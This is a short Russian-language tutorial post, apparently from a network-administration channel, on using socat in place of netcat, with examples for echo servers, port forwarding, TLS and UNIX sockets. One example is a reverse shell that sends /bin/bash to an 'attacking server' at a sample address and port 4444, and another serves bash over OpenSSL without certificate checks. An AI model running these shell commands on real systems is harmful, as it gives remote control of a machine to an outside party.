Если netcat - это "швейцарский нож" для работы с сетевыми соединениями, то socat - это полноценный "многофункциональный комбайн". Он поддерживает не только TCP и UDP, но и взаимодействие с файлами, сокетами, сериал-портами, TTY, OpenSSL, прокси и многим другим.
Сегодня про то, чем socat круче netcat и как его использовать в продвинутых сценариях.
✅ Преимущества socat перед netcat:
🔹 Поддержка различных типов соединений: TCP, UDP, UNIX-сокеты, файлы, прокси, TTY и др.
🔹 Позволяет делать прокси между разными протоколами.
🔹 Работает с шифрованными соединениями (SSL/TLS).
🔹 Может проксировать соединения через сокеты и туннелировать трафик.
🔹 Гибкость и мощь в одном инструменте.
▪️ Примеры использования socat
1️⃣ Простой TCP-сервер и клиент. Запускаем сервер, который слушает порт 1234:
socat TCP-LISTEN:1234,fork EXEC:/bin/cat
Подключаемся к нему с клиента:
socat - TCP:localhost:1234
Теперь всё, что вводится с клиента, будет отправляться на сервер и обратно.
2️⃣ Прокси TCP-трафика. Пробрасываем все входящие соединения с порта 8080 на 192.168.1.10:9090:
socat TCP-LISTEN:8080,fork TCP:192.168.1.10:9090
Это удобно для организации локального реверс-прокси или переадресации портов.
3️⃣ Реверс-шелл через socat. Открываем обратное соединение с атакующего сервера:
socat TCP:192.168.1.100:4444 EXEC:/bin/bash
На атакующем сервере слушаем соединение:
socat TCP-LISTEN:4444,fork STDOUT
Теперь можно управлять удаленным сервером через shell.
4️⃣ Шифрованное соединение через OpenSSL. Поднимаем зашифрованный сервер:
socat OPENSSL-LISTEN:8443,reuseaddr,cert=server.pem,verify=0 SYSTEM:/bin/bash
Подключаемся к нему с клиента:
socat OPENSSL:192.168.1.10:8443,verify=0 STDOUT
Это полезно, когда нужно создать зашифрованный туннель без сложных VPN.
5️⃣ Перенаправление ввода/вывода в UNIX-сокет. Создаём UNIX-сокет и привязываем его к Bash:
socat UNIX-LISTEN:/tmp/mysocket STDOUT
Подключаемся к нему с другого терминала:
socat - UNIX:/tmp/mysocket
Теперь можно передавать команды и файлы через сокеты.
#linux #network
🧑💻 NetworkAdmin